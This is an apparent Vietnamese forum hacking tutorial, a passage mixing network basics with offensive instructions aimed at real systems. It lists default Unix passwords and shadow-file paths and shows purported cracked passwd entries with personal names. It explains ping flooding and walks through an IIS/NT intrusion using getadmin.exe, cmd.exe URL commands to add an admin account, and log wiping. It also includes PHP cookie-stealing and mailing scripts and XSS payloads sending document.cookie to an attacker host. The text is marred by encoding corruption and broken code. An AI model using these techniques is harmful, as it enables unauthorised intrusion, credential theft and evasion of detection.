- Trong mIRC: Kết nối đến máy chủ sau đó đánh lệnh ‘’/dns’’
- Thông qua một số trang Web có hiển thị IP.

4.- IP Spoofing là gì ?

Một số IP có mục đích để xác định một thiết bị duy nhất trên thế giới. Vì vậy trên mạng một máy chủ có thể cho phép một thiết bị khác trao đổi dữ liệu qua lại mà không cần kiểm tra máy chủ.

Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thể vượt qua máy chủ mà không cần phải có quyền điều khiển máy chủ đó. Điều trở ngại là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi đến thiết bị có IP mà chúng ta đã giả mạo. Vì vậy có thể bạn sẽ không có được sự phản hồi những thông tin mà mình mong muốn. Có lẽ điều duy nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm account và cần dấu thông tin cá nhân!

5.- Trojan / worm / virus / logicbomb là cái gì ?

Trojan: ả ói cho dễ hiểu thì đây là chương trình điệp viên được cài vào máy của người khác để ăn cắp những tài liệu trên máy đó gửi về cho chủ nhân của nó, Cái mà nó ăn cắp có thể là mật khẩu, accourt, hay cookie...tủy theo ý muốn của người cài nó.

Virus: ả ói cho dễ hiểu thì đây là chương trình với những mã đặc biệt được cài (hoặc lây lan từ máy khác) lên máy của nạn nhân và thực hiện những yêu cầu của mã đó, đa số virut được sử dụng để phá hoại dữ liệu hoặc phá hoại máy tính.

Worm: Đây là chương trình độc lập có thể tự nhân bản bản thân nó và lây lan khắp bên trong mạng. Cũng giống như Virut, nó cũng có thể phá hoại dữ liệu, hoặc nó có thể phá hoại bên trong mạng, nhiều khi còn làm down cả mang đó.

Logicbomb: Là chương trình gửi một lúc nhiều gói dữ liệu cho cùng một địa chỉ, làm ngập lụt hệ thống, tắt nghẽn đường truyền (trên server) hoặc dùng làm công cụ để ‘’khủng bố’’ đối phương (bom Mail).

6.- PGP là gì ?

PGP là viết tắt của từ ‘’Pretty Good Privacy’’, đây là công cụ sử dụng sự mã hóa chìa khóa công cộng để bảo vệ những hồ sơ Email và dữ liệu, là dạng mã hóa an toàn cao sử dụng phần mềm cho MS_DOS, Unix, VAX/VMS và cho những dạng khác.

7.- Proxy là gì ?

Proxy cung cấp cho người sử dụng truy xuất internet với những host đơn. ả hững proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. ả hững chương trình client của người sử dụng sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp đến những yêu cầu từ client đến server, cũng như đáp ứng những yêu cầu của server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client.

Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. Với dual host homed cần phải login vào host trước khi sử dụng dịch vụ nào trên internet. Điều này thường không tiện lợi, và một số người trẻ nên thất vọng khi họ có cảm giác thông qua firewall, với proxy nó giải quyết được vấn đề này. Tất nhiên nó còn có những giao thức mới nhưng nói chung nó cũng khá tiện lợi cho user. Bởi vì proxy cho phép user truy xuất những dịch vụ trên internet từ hệ thống cá nhân của họ, vì vậy nó không cho phép packet đi trực tiếp giữa hệ thống sử dụng và internet. Đường đi là giáng tiếp thông qua dual homed host hoặc thông qua sự kết hợp giữa bastion host và screening rounter.

8.- Unix là gì ?

Unix là một hệ điều hành (giống Window).ả ó hiện là hệ điều hành mạnh nhất, và thân thiết với các Hacker nhất. ả ếu bạn đã trở thành một hacker thật sự thì HĐH này không thể thiếu đối với bạn. ả ó được sử dụng hỗ trợ cho lập trình ngôn ngữ C.

9.- Telnet là gì ?

Telnet là một chương trình cho phép ta kết nối đến máy khác thông qua cổng (port). Mọi máy tính hoặc máy chủ (server) đều có cổng, sau đây là một số cổng thông dụng:

- Port 21: FTP
- Port 23: Telnet
- Port 25: SMTP (Mail)
- Port 37: Time
- Port 43: Whois

Ví dụ: Bạn có thể gọi Telnet để kết nối đến mail.virgin.net trên port 25.

10.- Làm thế nào để biết mình đã Telnet đến hệ thống Unix ?

Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏi bạn khi bạn kết nối tới nó. Đầu tiên, khi bạn gọi Unix, thông thường nó sẽ xuất hiện một dấu nhắc: ''Log in:'', (tuy nhiên, chỉ với như vậy thì cũng chưa chắc chắn đây là Unix được ngoại trừ chúng xuất hiện thông báo ở trước chữ ''log in:'' như ví dụ: Welcome to SHUnix. Please log in…)

Bây giờ ta đang ở tại dấu nhắc ''log in'', bạn cần phải nhập vào một account hợp lệ. Một account thông thường gồm có 8 đặc tính hoặc hơn, sau khi bạn nhập account vào, bạn sẽ thấy có một mật khẩu, bạn hãy thử nhập Default Password thử theo bảng sau:

Account----------Default Password
Root---------- Root
Sys---------- Sys / System / Bin
Bin---------- -Sys / Bin
Mountfsy----------M ountfsys
ả uuc---------- Anon
Anon---------- Anon
User---------- -User
Games----------Games
Install----------Install
Demo---------- Demo
Guest---------- Guest

11.- shell account là cái gì ?

Một shell account cho phép bạn sử dụng máy tính ở nhà bạn như thiết bị đầu cuối (terminal) mà với nó bạn có thể đánh lệnh đến một máy tính đang chạy Unix, ''Shell'' là chương trình có nhiệm vụ dịch những ký tự của bạn gửi đến rồi đưa vào thực hiện lệnh của chương trình Unix. Với một shell account chính xác bạn có thể sử dụng được một trạm làm việc mạnh hơn nhiều so với cái mà bạn có thể tưởng tượng đến được.

Bạn có thể lấy được ''shell account'' miễn phí tại trang Web www.freeshell.com tuy nhiên bạn sẽ không sử dụng được ''telnet'' cho đến khi bạn trả tiền cho nó.

12.- Làm cách nào để bạn có thể crack Unix account passwords ?

Rất đơn giản, tuy nhiên cách mà tôi nói với các bạn ở đây ''lạc hậu'' rồi, các bạn có thể crack được chúng nếu các bạn may mắn, còn không thì các bạn đọc để tham khảo.

Đầu tiên bạn hãy đăng nhập vào hệ thống có sử dụng Unix như một khách hàng hoặc một người khách ghé thăm, nếu may mắn bạn sẽ lấy được mật khẩu được cất dấu trong những hệ thống chuẩn như:

/etc/passwd

Mỗi hàng trong một hồ sơ passwd có một tài khoản khác nhau, nó giống như hàng này:

userid:password:userid#:groupid#:GECOS field:home dir:shell trong đó:

- userid = the user id name: tên đăng nhập: có thể là một tên hoặc một số.

- password: Mật mã. Dùng để làm gì hẳn các bạn cũng biết rồi.

- userid#: Là một số duy nhất đựoc thông báo cho người đăng ký khi họ đăng ký mới ở lần đầu tiên.

- groupid#: Tương tự như userid#, nhưng nó được dùng cho những người đang ở trong nhóm nào đó (như nhóm Hunter Buq của HVA chẳng hạn)

- GECOS FIELD: Đây là nơi chứa thông tin cho người sử dụng, trong đó có họ tên đầy đủ, số điện thoại, địa chỉ v.v…Đây cũng là nguồn tốt để ta dễ dàng crack một mật khẩu.

- home dir: Là thư mục ghi lại hoạt động của người khách khi họ ghé thăm (giống như mục History trong IE vậy)

- Shell: Đây là tên của shell mà nó tự động bắt đầu khi ta login.

- Hãy lấy file password, lấy file text đã mã hóa về, sau đó bạn dùng chương trình ‘’CrackerJack’’ hoặc ‘’John the RIPper’’ để crack.

Các bạn thấy cũng khá dễ phải không ? Sai bét, không dễ dàng và may mắn để bạn có thể crack được vì hầu hết bây giờ họ cất rất kỹ, hãy đọc tiếp bạn sẽ thấy khó khăn chỗ nào.

13.- shadowed password là cái gì ?

Một shadowed password được biết đến là trong file Unix passwd, khi bạn nhập một mật khẩu, thì người khác chỉ thấy được trình đơn của nó (như ký hiệu ‘’X’’ hoặc ‘’*’’). Cái này thông báo cho bạn biết là file password đã được cất giữ ở nơi khác, nơi mà một người sử dụng bình thường không thể đến được. Không lẽ ta đành bó tay, dĩ nhiên là đối với một hacker thì không rồi, ta không đến được trực tiếp file shadowed password thì ta hãy tìm file sao lưu của nó, đó là file Unshadowed.

ả hững file này trên hệ thống của Unix không cố định, bạn hãy thử với lần lượt những đường dẫn sau:

CODE

AIX 3 /etc/security/passwd !
or /tcb/auth/files/ /
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/ /
SunOS4.1+c2 /etc/security/passwd.adjunct =##username
SunOS 5.0 /etc/shadow
maps/tables/whatever >
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
Uả ICOS /etc/udb =20

Trước dấu ‘’/’’đầu tiên của một hàng là tên của hệ thống tương ứng, hãy căn cứ vào hệ thông thật sự bạn muốn lấy rồi lần theo đường dẫn phía sau dấu ‘’/’’đầu tiên.

Và cuối cùng là những account passwd mà tôi từng crack được, có thể bây giờ nó đã hết hiệu lực rồi:

CODE

arif:x:1569:1000:ả guyen Anh Chau:/udd/arif:/bin/ksh
arigo:x:1570:1000:Ryan Randolph:/udd/arigo:/bin/ksh
aristo:x:1573:1000:To Minh Phuong:/udd/aristo:/bin/ksh
armando:x:1577:1000:Armando Huis:/udd/armando:/bin/ksh
arn:x:1582:1000:Arn mett:/udd/arn:/bin/ksh
arne:x:1583:1000:Pham Quoc Tuan:/udd/arne:/bin/ksh
aroon:x:1585:1000:Aroon Thakral:/udd/aroon:/bin/ksh
arozine:x:1586:1000: Mogielnicki:/udd/arozine:/bin/bash
arranw:x:1588:1000:Arran Whitaker:/udd/arranw:/bin/ksh

Để bảo đảm sự bí mật nên pass của họ tôi xóa đi và để vào đó là ký hiệu ‘’x’’, các bạn hãy tìm hiểu thông tin có được từ chúng xem

Vitual port (cổng ảo) là 1 số tự nhiên được gói ở trong TCP (Tranmission Control Protocol) và UDP (User Diagram Protocol) header. Như mọi người đã biết, Windows có thể chạy nhiều chương trình 1 lúc, mỗi chương trình này có 1 cổng riêng dùng để truyền và nhận dữ liệu.

Ví dụ 1 máy có địa chỉ IP là 127.0.0.1 chạy WebServer, FTP_Server, POP3 server, et những dịch vụ này đều được chạy trên 1 IP address là 127.0.0.1, khi một gói tin đuọc gửi đến làm thế nào máy tính của chúng ta phân biệt được gói tin này đi vào dịch vụ nào WebServer hay FTP server hay SM! TP ? Chính vì thế Port xuất hiện. Mỗi dịch vụ có 1 số port mặc định, ví dụ FTP có port mặc định là 21, web service có port mặc định là 80, POP3 là 110, SMTP là 25 vân vân...

ả gười quản trị mạng có thể thay đổi số port mặc định này, nếu bạn không biết số port trên một máy chủ, bạn không thể kết nối vào dịch vụ đó được. Chắc bạn đã từng nghe nói đến PORT MAPPIả G nhưng có lẽ chưa biết nó là gì và chức năng thế nào. Port mapping thực ra đơn giản chỉ là quá trình chuyển đổi số port mặc định của một dịch vụ nào đó đến 1 số khác. Ví dụ Port mặc định của WebServer là 80, nhưng thỉnh thoảng có lẽ bạn vẫn thấy http://www.xxx.com:8080, 8080 ở đây chính là số port của host xxx nhưng đã được người quản trị của host này ‘’map’’ từ 80 thành 8080

15.- DNS là gì ?

Dả S là viết tắt của Domain ả ame System. Một máy chủ Dả S đợi kết nối ở cổng số 53, có nghĩa là nếu bạn muốn kết nối vào máy chủ đó, bạn phải kết nối đến cổng số 53. Máy chủ chạy Dả S chuyển hostname bằng các chữ cái thành các chữ số tương ứng và ngược lại. Ví dụ: 127.0.0.1 -- > localhost và localhost--- > 127.0.0.1.

16.- Đôi điều về Wingate:

WinGate là một chương trình đơn giản cho phép bạn chia các kết nối ra. Thí dụ: Bạn có thể chia sẻ 1 modem với 2 hoặc nhiều máy. WinGate dùng với nhiều proxy khác nhau có thể che giấu bạn.

Làm sao để Wingate có thể che dấu bạn ? Hãy làm theo tôi: Bạn hãy telnet trên cổng 23 trên máy chủ chạy WinGate telnet proxy và bạn sẽ có dấu nhắc WinGate >. Tại dấu nhắc này bạn đánh vào tên server, cùng một khoảng trống và cổng bạn muốn kết nối vào. VD:

CODE

telnet wingate.net

WinGate > victim.com 23

ta telnet đến cổng 23 vì đây là cổng mặc định khi bạn cài Wingate. lúc này IP trên máy mà victim chộp được của ta là IP của máy chủ chứa Wingate proxy đó.

Làm sao để tìm Wingate ?

ả ếu bạn muốn tìm IP WinGates tĩnh (IP không đổi) thì đến yahoo hay một trang tìm kiếm cable modem. Tìm kiếm cable modems vì nhiều người dùng cable modems có WinGate để họ có thể chia sẻ đường truyền rộng của nó cable modems cho những máy khác trong cùng một nhà. Hoặc bạn có thể dùng Port hay Domain scanners và scan Port 1080.

Để tìm IP động (IP thay đổi mỗi lần user kết nối vào internet) của WinGates bạn có thể dùng Domscan hoặc các chương trình quét khác. ả ếu dùng Domscan bạn hãy nhập khoảng IP bất kỳ vào box đầu tiên và số 23 vào box thứ 2. Khi đã có kết quả, bạn hãy thử lần lượt telnet đến các địa chỉ IP tìm được (đã hướng dẫn ở trên), nếu nó xuất hiện dấu ‘’Wingate >’’ thì bạn đã tìm đúng máy đang sử dụng Wingate rồi đó.

Theo kinh nghiệm của tôi thì bạn hãy down wingatescanner về mà sài, nó có rất nhiều trên mạng.

17.- Đôi điều về Traceroute:

Traceroute là một chương trình cho phép bạn xác định được đường đi của các gói packets từ máy bạn đến hệ thống đích trên mạng Internet.

Bạn hãy xem VD sau:

CODE

C:\Windows > tracert 203.94.12.54

Tracing route to 203.94.12.54 over a maximum of 30 hops

1. abc.netzero.com (232.61.41.251) 2 ms 1 ms 1 ms
2. xyz.ả etzero.com (232.61.41.0) 5 ms 5 ms 5 ms
3. 232.61.41.10 (232.61.41.251) 9 ms 11 ms 13 ms
4. we21.spectranet.com (196.01.83.12) 535 ms 549 ms 513 ms
5. isp.net.ny (196.23.0.0) 562 ms 596 ms 600 ms
6. 196.23.0.25 (196.23.0.25) 1195 ms1204 ms
7. backbone.isp.ny (198.87.12.11) 1208 ms1216 ms1233 ms
8. asianet.com (202.12.32.10) 1210 ms1239 ms1211 ms
9. south.asinet.com (202.10.10.10) 1069 ms1087 ms1122 ms
10. backbone.vsnl.net.in (203.98.46.01) 1064 ms1109 ms1061 ms
11. newdelhi-01.backbone.vsnl.net.in (203.102.46.01) 1185 ms1146 ms1203 ms
12. newdelhi-00.backbone.vsnl.net.in (203.102.46.02) ms1159 ms1073 ms
13. mtnl.net.in (203.194.56.00) 1052 ms 642 ms 658 ms

Tôi cần biết đường đi từ máy tôi đến một host trên mạng Internet có địa chỉ IP là 203.94.12.54. Tôi cần phải tracert đến nó! ả hư bạn thấy ở trên, các gói packets từ máy tôi muốn đến được 203.94.12.54 phải đi qua 13 hops (mắc xích) trên mạng. Đây là đường đi của các gói packets.

Bạn hãy xem VD tiếp theo:

CODE

host2 # traceroute xyz.com

traceroute to xyz.com (202.xx.12.34), 30 hops max, 40 byte packets

1. isp.net (202.xy.34.12) 20ms 10ms 10ms
2. xyz.com (202.xx.12.34) 130ms 130ms 130ms

Dòng đầu tiên cho biết hostname và địa chỉ IP của hệ thống đích. Dòng này còn cho chúng ta biết thêm giá trị TTL<=30 và kích thước của datagram là 40 bytes(20-bytes IP Header + 8-bytes UDP Header + 12-bytes user data).

Dòng thứ 2 cho biết router đầu tiên nhận được datagram là 202.xy.34.12, giá trị của TTL khi gởi đến router này là 1. Router này sẽ gởi trở lại cho chương trình traceroute một ICMP message error ‘’Time Exceeded’’. Traceroute sẽ gởi tiếp một datagram đến hệ thống đích.

Dòng thứ 3, xyz.com(202.xx.12.34) nhận được datagram có TTL=1(router thứ nhất đã giảm một trước đó - TTL=2-1=1). Tuy nhiên, xyz.com không phải là một router, nó sẽ gởi trở lại cho traceroute một ICMP error message ‘’Port Unreachable’’. Khi nhận được ICMP message này, traceroute sẽ biết được đã đến được hệ thống đích xyz.com và kết thúc nhiệm vụ tại đây.

Trong trường hợp router không trả lời sau 5 giây, traceroute sẽ in ra một dấu sao ‘’*’’ (không biết) và tiếp tục gởi datagram khác đến host đích!

Chú ý:

Trong Windows: tracert hostname

Trong unix: traceroute hostname

18.- Ping và cách sử dụng:

Ping là 1 khái niệm rât đơn giản tuy nhiên rất hữu ích cho việc chẩn đoán mạng. Tiểu sử của từ ‘’ping’’ như sau: Ping là tiếng động vang ra khi 1 tàu ngầm muốn biết có 1 vật thể khác ở gần mình hay không, nếu có 1 vật thể nào đó gần tàu ngầm tiếng sóng âm này sẽ va vào vật thể đó và tiếng vang lại sẽ là ‘’pong’’ vậy thì tàu ngầm đó sẽ biết là có gì gần mình.

Trên Internet, khái niệm Ping cũng rất giống với tiểu sử của nó như đã đề cập ở trên. Lệnh Ping gửi một gói ICMP (Internet Control Message Protocol) đến host, nếu host đó ‘’pong’’ lại có nghĩa là host đó tồn tại (hoặc là có thể với tới được). Ping cũng có thể giúp chúng ta biết được luợng thời gian một gói tin (data packet) đi từ máy tính của mình đến 1 host nào đó.

Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ ‘’ping địa_chỉ_IP’’, mặc định sẽ ping 4 lần, nhưng bạn cũng có thể gõ

CODE

‘’ping IP.address –t’’

Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như sau:

CODE

‘’ping -l (size) địa_chỉ_IP’’

Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao lâu gói tin rồi xem sau bao lâu gói tin đó quay trở lại, cách này xác định được tốc độ của kết nối, và thời gian cần để một gói tin đi và quay trở lại và chia bốn (gọi là ‘’trIP time’’). Ping cũng có thể được dùng để làm chậm đi hoặc đổ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một phút lụt ping (Bộ đệm của kết nối bị tràn có qua nhiều kết nối, nên Windows quyết định cho nó đi nghỉ một chút). Một cuộc tấn công ‘’ping flood’’ sẽ chiếm rất nhiều băng thông của bạn, và bạn phải có băng thông lớn hơn đối phương (trừ khi đối phương là một máy chạy Windows 98 và bạn có một modem trung bình, bằng cách đó bạn sẽ hạ gục đối phương sau xấp xỉ một phút lụt ping). Lụt Ping không hiệu quả lắm đổi với những đối phương mạnh hơn một chút. trừ khi bạn có nhiều đường và bạn kiểm soát một số lượng tương đối các máy chủ cùng ping mà tổng băng thông lơn hơn đối phương.

Chú ý: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách liên tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất cả các hệ Unix hoặc Linux, bạn có thể dùng ping -f để gây ra lụt thực sự. Thực tế là phải ping -f nếu bạn dùng một bản tương thích POSIX (POSIX - Portable Operating System Interface dựa trên uniX), nếu không nó sẽ không phải là một bản Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó là Unix hay Linux, nó sẽ có tham số -f.

19.- Kỹ thuật xâm nhập Window NT từ mạng Internet:

Đây là bài học hack đầu tiên mà tôi thực hành khi bắt đầu nghiên cứu về hack, bây giờ tôi sẽ bày lại cho các bạn. Bạn sẽ cần phải có một số thời gian để thực hiện được nó vì nó tuy dễ nhưng khó. Ta sẽ bắt đầu:

- Đầu tiên bạn cần tìm một server chạy IIS:

- Tiếp đến bạn vào DOS và đánh ‘’FTP’’. VD:

c:\Ftp www.dodgyinc.com

(trang này khi tôi thực hành thì vẫn còn làm được, bây giờ không biết họ đã fix chưa, nếu bạn nào có trang nào khác thì hãy post lên cho mọi người cùng làm nhé)

ả ếu connect thành công, bạn sẽ thấy một số dòng tương tự như thế này:

CODE

Connected to www.dodgyinc.com.

220 Vdodgy Microsoft FTP Service (Version 3.0).

User (www.dodgyinc.com:(none)):

Cái mà ta thấy ở trên có chứa những thông tin rất quan trọng, nó cho ta biết tên ả etbios của máy tính là ‘’Vdodgy’’. Từ điều này bạn có thể suy diễn ra tên mà được sử dụng cho ả T để cho phép ta có thể khai thác, mặc định mà dịch vụ FTP gán cho nó nếu nó chưa đổi tên sẽ là ‘’IUSR_VDODGY’’. Hãy nhớ lấy vì nó sẽ có ích cho ta. ả hập ‘’anonymous’’ trong user nó sẽ xuất hiện dòng sau:

CODE

331 Anonymous access allowed, send identity (e-mail name) as password.

Password:

Bây giờ password sẽ là bất cứ gì mà ta chưa biết, tuy nhiên, bạn hãy thử đánh vào password là ‘’anonymous’’. ả ếu nó sai, bạn hãy log in lại thiết bị FTP, bạn hãy nhớ là khi ta quay lại lần này thì không sử dụng cách mạo danh nữa (anonymous) mà sử dụng ‘’Guest’’, thử lại password với ‘’guest’’ xem thế nào.

Bây giờ bạn hãy đánh lệnh trong DOS:

CODE

Cd /c

Và sẽ nhìn thấy kết quả nếu như bạn đã xâm nhập thành công, bây giờ bạn hãy nhanh chóng tìm thư mục ‘’cgi-bin’’. ả ếu như bạn may mắn, bạn sẽ tìm được dễ dàng vì thông thường hệ thống quản lý đã đặt ‘’cgi-bin’’ vào nơi mà ta vừa xâm nhập để cho các người quản lý họ dễ dàng điều khiển mạng hơn. Thư mục cgi-bin có thể chứa các chương trình mà bạn có thể lợi dụng nó để chạy từ trình duyệt Web của bạn. Ta hãy bắt đầu ‘’quậy’’ nào greenbiggrin.gif greenbiggrin.gif.

Đầu tiên, bạn hãy chuyển từ thư mục cgi-bin và sử dụng lệnh ‘’Binary’’ (có thể các bạn không cần dùng lệnh này), sau đó bạn đánh tiếp lệnh ‘’put cmd.exe’’. Tiếp theo là bạn cần có file hack để cài vào thư mục này, hãy tìm trên mạng để lấy 2 file quan trọng nhất đó là ‘’getadmin.exe’’ và ‘’gasys.dll’’. Download chúng xuống, một khi bạn đã có nó hãy cài vào trong thư mục cgi-bin. Ok, coi như mọi việc đã xong, bạn hãy đóng cửa sổ DOS.

Bây giờ bạn hãy đánh địa chỉ sau lên trình duyệt của bạn:

http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?IUSR_VDODGY

Sau vài giây bạn sẽ có được câu trả lời như ở dưới đây:

CODE

CGI Error

The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:

Congratulations, now account IUSR_VDODGY have administrator rights!

Thế là bạn đã mạo danh admin để xâm nhập hệ thống, việc cần thiết bây giờ là bạn hãy tự tạo cho mình một account, hãy đánh dòng sau trên IE:

http://www.dodgyinc.com/cgi-bin/cmd.exe?/c%20c:\winnt\system32\net.exe%20user %2 0hacker%20toilahacker%20/add

Dòng lệnh trên sẽ tạo cho bạn một account login với user: anhdenday và passwd: toilahacker. Bây giờ bạn hãy là cho user này có account của admin, bạn chỉ cần đánh lên IE lệnh:

http://www.dodgyinc.com/cgi-bin/ge tadmin.exe?anhdenday

Vậy là xong rồi đó, bạn hãy disconnect và đến start menu - > find rồi search computer ‘’www.dodgyinc.com’’. Khi tìm thấy, bạn vào eXPlore, eXPlore ả T sẽ mở ra bạn hay nhập user và passwd để mở nó (của tôi là user: anhdenday và passwd: toilahacker).

Có một vấn đề là khi bạn xâm nhập hệ thống này thì sẽ bị ghi lại, do đó để xóa dấu vết bạn hãy vào ‘’Winnt\system32\logfiles’’ mở file log đó rồi xóa những thông tin liên quan đến

bạn, rồi save chúng. ả ếu bạn muốn lấy một thông báo gì về việc chia sẽ sự xâm nhập thì bạn hãy thay đổi ngày tháng trên máy tính với URL sau:

http://www.dodgyinc.com/cgi-bin/cm d.exe?/c%20date%2030/04/03

Xong rồi bạn hãy xóa file ‘’getadmin.exe’’, và ‘’gasys.dll’’ từ ‘’cgi-bin’’. Mục đích khi ta xâm nhập hệ thống này là ‘’chôm’’ pass của admin để lần sau xâm nhập một cách hợp lệ, do đó bạn hãy tìm file SAM (chứa pass của admin và member) trong hệ thống rồi dùng chương trình ‘’l0pht crack’’ để crack pass (Hướng dẫn về cách sử dụng ‘’l0pht crack v 3.02’’ tôi đã post lên rồi, các bạn hãy tự nghiên cứu nhé). Đây là link:

http://vnhacker.org/forum/?act=ST& f=6&t=11566&s=

Khi crack xong các bạn đã có user và pass của admin rồi, bây giờ hãy xóa account của user (của tôi là ‘’anhdenday’’) đi cho an toàn. Bạn đã có thể làm gì trong hệ thống là tùy thích, nhưng các bạn đừng xóa hết tài liệu của họ nhé, tội cho họ lắm.

Bạn cảm thấy thế nào, rắc rối lắm phải không. Lúc tôi thử hack cách này, tôi đã mày mò mất cả 4 giờ, nếu như bạn đã quen thì lần thứ 2 bạn sẽ mất ít thời gian hơn.

Ở phần 3 tôi sẽ đề cập đến HĐH Linux, đến cách ngắt mật khẩu bảo vệ của một Web site, và làm thế nào để hack một trang web đơn giản nhất v.v…

20.- Cookie là gì ?

Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa web site và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site.

ả hững thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen...Cookie được browser của người dùng chấp nhận lưu trên đĩa cứng của máy mình, không phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập vào site, những thông tin về người dùng được lưu trữ trong cookie. Ở những lần truy cập sau đến site đó, web site có thể dùng lại những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào 1 forum...) mà người không phải làm lại thao tác đăng nhập hay phải nhập lại các thông tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại các thông tin lưu trong cookie không chính xác, kiểm tra không đầy đủ hoặc mã hóa các thông tin trong cookie còn sơ hở giúp cho hacker khai thác để vượt qua cánh cửa đăng nhập, đoạt quyền điều khiển site.

Cookies thường có các thành phần sau:

Tên: Do người lập trình web site chọn

Domain: Là tên miền từ server mà cookie được tạo và gửi đi

Đường dẫn: Thông tin về đường dẫn ở web site mà bạn đang xem

ả gày hết hạn: Là thời điểm mà cookie hết hiệu lực.

Bảo mật: ả ếu giá trị này được thiết lập bên trong cookie, thông tin sẽ được mã hóa trong quá trình truyền giữa server và browser.

Các giá trị khác: Là những dữ liệu đặc trưng được web server lưu trữ để nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới hạn trong khoảng 4k.

21.- Kỹ thuật lấy cắp cookie của nạn nhân:

Trước hết, các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó:

CODE

```
<?php
define (‘’LIả E’’, ‘’\r\n’’),
define (‘’HTML_LIả E`’’),
function getvars($arr, $title)
{
$res = ’’’’,
$len = count($arr),
if ($len > 0)
```

```
{
if (strlen($title) > 0)
{
print(‘’[--------$title--------]’’. HTML_LIả E),
$res.= ``[--------$title--------]``. LIả E,
}
foreach ($arr as $key = > $value)
{
print(‘’[$key]’’. HTML_LIả E),
print($arr[$key]. HTML_LIả E),
$res.= ‘’[$key]’’. LIả E. $arr[$key]. LIả E,
}
}
return $res,
}
// get current date
$now = date(‘’Y-m-d H:i:s’’),
// init
$myData = ‘’[-----$now-----]’’. LIả E,
// get
$myData.= getvars($HTTP_GET_VARS,’’’’),
// file
$file = $REMOTE_ADDR. ‘’.txt’’,
$mode = ‘’r+’’,
if (!file_exists($file))
$mode = ‘’w+’’.
$fp = fopen ($file, $mode),
fseek($fp, 0, SEEK_Eả D),
fwrite($fp, $myData),
fclose($fp),
? >
```

hoặc

CODE

```
<?php
if ($contents && $header){
mail(‘’victim@yahoo.com’’, ‘’from mail scrIPt’’,$contents,$header) or
die(‘couldnt email it’),
sleep(2),
? >
<scrIPt language=javascrIPt >
<?php
} else {
echo ‘’nope’’,
}
```

(Bạn hãy sửa cái victim@yahoo.com thành địa chỉ Mail của bạn).

Bạn hãy save cái notepad này với tên ‘’< tên tùy các bạn >.php’’ (ả hớ là phải có.php) rồi upload lên một host nào đó có hỗ trợ PHP, trong VD của tôi là abc.php. (Đối với các bạn đã từng làm Web chắc sẽ rất dễ phải không ?). Đoạn mã này sẽ có nhiệm vụ ăn cắp thông tin (và có khi có cả cookie) của nạn nhân khi họ mở dữ liệu có chứa đoạn mã này rồi tự động save thông tin đó thành file < IP của nạn nhân >.txt.

Còn một cách nữa để lấy cookie được sử dụng trên các forum bị lỗi nhưng chưa fix, khi post bài bạn chi cần thêm đoạn mã sau vào bài của mình:

CODE

document.write(’’)

với host_php: Là địa chỉ bạn đã upload file ăn cắp cookie đó lên.

và abc.php là file VD của tôi.

Ví dụ: Khi áp dụng trong tag img, ta dùng như sau:

CODE

‘)\’’>

hoặc:

[CODE

img]javascrIPt:
Document.write(`&#x3cimgsrc=http://host_php/docs.php?docs=’+escape(document.cookie)+
’&#x3e’)\’’>

Bạn có thể tìm những trang web để thực hành thử cách trong VD này bằng cách vào google.com tìm những forum bị lỗi này bằng từ khóa ‘’Powered by……..forum’’ với những forum sau: ikonboard, Ultimate Bulletin Board, Bulletin Board, Snitz. ả ếu các bạn may mắn các bạn có thể tìm thấy những forum chưa fix lỗi này mà thực hành, ai tìm được thì chia sẽ với mọi người nhé.

Còn nhiều đoạn mã ăn cắp cookie cũng hay lắm, các bạn hãy tự mình tìm thêm.

22.- Cách ngắt mật khẩu bảo vệ Website:

